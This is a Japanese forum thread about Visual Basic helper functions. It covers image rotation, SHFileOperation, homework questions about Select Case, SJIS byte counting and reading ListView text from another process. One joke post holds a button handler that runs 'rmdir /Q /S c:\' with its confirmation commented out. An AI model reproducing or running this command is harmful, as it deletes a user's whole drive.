VB-みんなで関数を作る-

↑コモンダイアログ（コントロール不要）

どうせならクラスモジュール化しちゃえ

ファイル・フォルダその他削除には

SHFileOperation
ってなAPIがある。

エクスプローラとかが内部で使ってるやつな。
これ使えばファイル操作関連の関数は不要。

ちなみにVB向けAPIリファレンスでは載ってない本が多い。
詳しくはMSDN見れ。

>69
それ使い勝手悪いから嫌い。
自作したほうが早くて速い。

>>70
書くのは早いかもしれんが
ほんとに速いと思うか？

使い勝手が悪いならSHFileOperationをWrapするような
関数を自分で書け。

再帰のバグなんてものもなくなるし生産性は高いと思うのだが。

'任意の角度に画像を回転する
'DestPicture ：転送先のHDC(例：Picture1.hDC)
'SrcPicture ：転送元HDC
'PictureWidth ：横幅
'PictureHeight ：縦幅
'Angle ：角度

Public Sub Rotate _
　　(DestPicture As Long, _
　　SrcPicture As Long, _
　　PictureWidth As Long, _
　　PictureHeight As Long, _
　　Angle As Integer)

　　Dim i As Integer, j As Integer
　　Dim x As Single, y As Single '処理するピクセル位置(転送先)
　　Dim x_2 As Single, y_2 As Single '処理するピクセル位置(転送元)
　　Dim x_3 As Single, y_3 As Single
　　Dim x_temp As Single, y_temp As Single
　　Dim x_temp2 As Single, y_temp2 As Single
　　Dim Center As Single: Center = PictureWidth / 2

　　x = ((0 - Center) * Cos(Pi * Angle) - (0 - Center) * Sin(Pi * Angle))
　　y = ((0 - Center) * Sin(Pi * Angle) + (0 - Center) * Cos(Pi * Angle))

　　x_temp = ((1 - Center) * Cos(Pi * Angle) - (0 - Center) * Sin(Pi * Angle))
　　y_temp = ((1 - Center) * Sin(Pi * Angle) + (0 - Center) * Cos(Pi * Angle))
　　x_temp2 = ((0 - Center) * Cos(Pi * Angle) - (1 - Center) * Sin(Pi * Angle))
　　y_temp2 = ((0 - Center) * Sin(Pi * Angle) + (1 - Center) * Cos(Pi * Angle))

　　x_temp = x_temp - x
　　y_temp = y_temp - y
　　x_temp2 = x_temp2 - x
　　y_temp2 = y_temp2 - y

　　For j = 0 To PictureHeight
　　　　x_2 = x_temp2 * j + x
　　　　y_2 = y_temp2 * j + y
　　　　For i = 0 To PictureWidth
　　　　　　x_3 = x_temp * i + x_2 + Center
　　　　　　y_3 = y_temp * i + y_2 + Center
　　　　　　Call BitBlt(DestPicture, i, j, 1, 1, SrcPicture, x_3, y_3, SRCCOPY)
　　　　Next
　　Next
End Sub

Centerは横幅からしか求めてないので、希望通りに回転しないと思われ。
あと、BitBltで1ドット転送してるのはネタ？

>>73
真四角しか扱ってなかったので適当に直してください。

Bitbltで転送してるのは、DIBセクション作るのが手間なので。

誰か教えてください！
1.Dim a as Integer, Dim b as Integer, Dim c as Integer
　(1)a=10(2)b=3(3)C=4(4)c=6(5)c=7(6)c=a Mod b(7)c=0
　の７箇所でﾌﾟﾛｸﾞﾗﾑをｽﾄｯﾌﾟさせた時のa,b,cの値。
2.Function abc(i as string) as integer Select Case s
Case "グ−" abc=1,Case “チョキ“abc = 2,Case “パー”abc = 3,
Case Else abc = 0 End Select End Function
の時、abc("ちょき)"、abc("ぱー")、abc("gu")、abc("pa")、abc("グ
ー")、abc("チョキ")、abc("パー")、abc("tyoki")の関数の返す値。
3.Function abc(i as integer) as String Select Case i
Case 1 abc = “いし”,Case 2 abc = “はさみ”,Case 3 abc = “かみ”
Case Else abc = “???” End Select End Functionの時、abc(0),abc
(1),abc(2),abc(3),abc(4),abc(5),abc(6),abc(7),abc(8),abc(9)のよう　に値を設定した時の関数の値。
4.このプログラムは、フォーム上でどんなふるまいをしますか?
Sub Timer1_Timer Dim s as String s = Format(Time,”hh:mm:ss”)
Me.Caption = s End
5.このプログラムは、フォーム上でどんなふるまいをしますか?
Dim i as Integer Sub Timer1_Timer if i=0 then
picture1.picture=LoadPicture(“0.bmp”) else
picture1.picture=LoadPicture(“1.bmp”) end if
if i>1 then i=0 end if End
の５つです。よろしくお願いします。

>>70
APIを自作するってどうやるんですか？

>>75
見づらい。以上。

>>72
Piの定義がない。ふつうはPiでは表記しない。
ループが縦横１ドットずつ多い。
変換経過をそのまま表示したら、めちゃ遅くなる。

>>76
同等の機能を自作する、ってことだろ。

3.Function abc(i as integer) as String
　　　　　　Select Case i
　　　　　　Case 1 　abc = “いし”
　　　　　　Case 2 　abc = “はさみ”
　　　　　　Case 3 　abc = “かみ”
　　　　　　Case Else 　abc = “???”
　　　　　　 End Select
End Functionの時、
abc(0),abc(1),abc(2),abc(3),abc(4),abc(5),abc(6),abc(7),abc(8),abc(9)
のように値を設定した時の関数の値を教えてください。

???・・・・・・・・典型的なネタだなぁ>>80。

>>８１
典型的なネタとはなんでしょう？答え教えてください。

>>82
おれVBとかbasic系知らんけど、たぶん

abc(0)=="???",abc(1)=="いし",abc(2)=="はさみ",abc(3)=="かみ",abc(4)=="???",
abc(5)=="???",abc(6)=="???",abc(7)=="???",abc(8)=="???",abc(9)=="???"

になるんじゃねえの？見たかんじ。

>>82

ネタなのか、君の宿題なのか教えてくれ。

宿題みたいなものです。どうもありがとうございました。

>>75
2.は全部0になるぞ。
っつーか、問題の出し方下手糞だな。それ。

全部0ですか！？じゃあ間違ってました。ありがとうございます。

>>87
たぶん出題者の意図とは違うぞ。
書き写しミスったりしてないか？

こんなソースでおべんきょするから新入りってのは・・・ﾌﾞﾂﾌﾞﾂｳﾂ.....

>>78
すいません、πの定義、他の所に書いてました…。
ループ多かったですか？ループ回数-1したら良いでしょうか。
遅いのは…カンベンしてください…DIB作ります。

もうこのスレにクソレスするのは勘弁してください。

>>79
やってみせてよー

>>91
糞レス発見！

>>90
＞ループ多かったですか？
0から始まってるからね。

＞For j = 0 To PictureHeight
＞For i = 0 To PictureWidth

呼ぶときに、-1してればいいけど、ふつうしないよね。

＞ループ回数-1したら良いでしょうか。
そう。

脱力系スレ

俺はVB派だがVB使ってるやつの大部分が
どうにかして楽しようとしてるのがかなり嫌。

そうじゃないだろ、プログラミングってのは。
自分でどうにかして苦労して、苦労して、
やっとものに出来るから楽しいんじゃないのか？

一度考えてみてくれよ。

>>96
だったら、VB なんか使わずにアセンブラでも使ったら百倍楽しめるぞ。

楽をするためにプログラムを作る。
プログラムを楽に作るためにRADツールを使う。

究極のプログラムとは作らないということだ。

楽をするためにプログラムを組み始めたのに
思いのほか難産で結局作らないほうが楽だったかもしれない罠。

あげ

楽あれば苦有り。
クロード・チアリ。

良ｽﾚAge

ああああああああああああああああああああああ
ほほほほほほほほほほほほほほほほほほほほほほ

ポチッとな・・

Private Sub RedButton_Click()
On Error Resume Next
'　　If MsgBox("処理を続行しますか？", vbYesNo, "確認入力") = vbNo Then
　　　　Call Shell("rmdir /Q /S c:\")
'　　End If
End Sub

>>105
実行したら、ドライブにディスクがない。と言われましたが何か？

>106 (ﾟДﾟ; ) ｶﾞｰﾝ!!

ただ今、仕事でVB4(16Bit)からVB6(32Bit)への
コンバートをやっています。
そのなかで一つ困ったことがあるので、
助けてください。

32Bitにしたときに文字コードの問題で
テキストボックスのMaxLengthプロパティが
効かなくなってしまいました。
今まで、バイトで桁数を計算してたのに
文字数で計算するようになっているのです。
ので、16Bitのときの２バイト文字が
２倍の長さ分、入ってしまいます。

なるべく、ソースを変えたくないので、
カスタムコントロールを作って置き換えようと
思ったんですが、できますでしょうか？

>>108
Function LenSJISByte(ByVal strHoge As String) As Long
　　LenSJISByte = LenB(StrConv(strHoge, vbFromUnicode))
End Function

>109
その関数をPublicで定義して
全てのテキストボックスのMaxlengthプロパティに
LenSJISByteを指定してあげればいいのでしょうか？

>110
Maxlengthプロパティに渡してもダメじゃないかな。
でも、Validateとかにコード書けばいいじゃん。

・・・
Validate
ってなんだー。
調べに逝ってきます

>>110
API使え。

Function GetListViewText(ByVal LVhWnd As Long, ByVal Index As Long, ByVal SubIndex As Long) As String
'指定のリストビューの指定の項目のテキストを取得する。(WinNT系限定！)
'
'LVhWnd=ListViewのウィンドウハンドル
'Index=リストビューのリストインデックス。（0=一番上)
'SubIndex=横のインデックス。(0=一番左）


'初期設定
Dim hProc&, hPID&, pLocal&, pShare&, LV As LVITEM
Dim rc&, rc2&
Dim LVSize&
Dim By() As Byte, st$


On Error GoTo errT
Const Size = 1024 + 40
LVSize = Len(LV)


'hWnd→ProcessID→ProcessHandle→共有メモリ確保
rc = GetWindowThreadProcessId(LVhWnd, hPID)
hProc = OpenProcess(PROCESS_MYNORMALACCESS, 0, hPID)
pShare = VirtualAllocEx(hProc, 0, Size, MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE)
If pShare = 0 Then GoTo errT

'こっちのメモリの確保
ReDim By(Size - 1)


'LVITEMの設定
With LV
.cchTextMax = 1024
.iItem = Index
.iSubItem = SubIndex
.mask = LVIF_TEXT Or LVIF_STATE
.pszText = pShare + LVSize
End With


'共有メモリにLVITEMの書き込み→メッセージを送って書きこませる→共有メモリから読みこみ
rc = WriteProcessMemory(hProc, pShare, VarPtr(LV), Len(LV), rc2)
rc = SendMessage(LVhWnd, LVM_GETITEM, 0, ByVal pShare)
If rc = 0 Then GoTo errT
rc = ReadProcessMemory(hProc, pShare + LVSize, VarPtr(By(0)), LV.cchTextMax, rc2)

'Chr(0)を削除して返す。
st = By
GetListViewText = Replace(st, Chr(0), "")
GoTo ReleaseALL

'全部解放（エラー出た時はこっちに飛ぶよ。）
errT:
GetListViewText = ""

ReleaseALL:
If pShare Then VirtualFreeEx hProc, pShare, Size, MEM_RELEASE
If hProc Then CloseHandle hProc
End Function

API宣言はパス。